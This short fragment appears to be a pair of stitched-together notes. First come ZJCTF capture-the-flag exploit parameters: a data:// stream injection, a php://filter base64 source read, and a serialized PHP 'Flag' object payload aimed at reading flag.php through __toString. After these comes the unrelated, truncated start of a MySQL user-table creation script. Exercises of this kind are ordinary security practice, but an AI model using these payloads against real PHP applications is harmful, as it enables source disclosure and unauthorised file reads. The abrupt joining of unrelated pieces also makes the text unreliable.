?text=data://text/plain,welcome to the zjctf
&file=php://filter/read=convert.base64-encode/resource=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} //echo 触发ToString
一,创建数据库
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS 0;
-- ----------------------------
-- Table structure for user
-- ----------------------------
DROP TABLE IF EXISTS user;
CREATE TABLE user (
uid int(11) NOT NULL AUTO_INCREMENT,
uname va…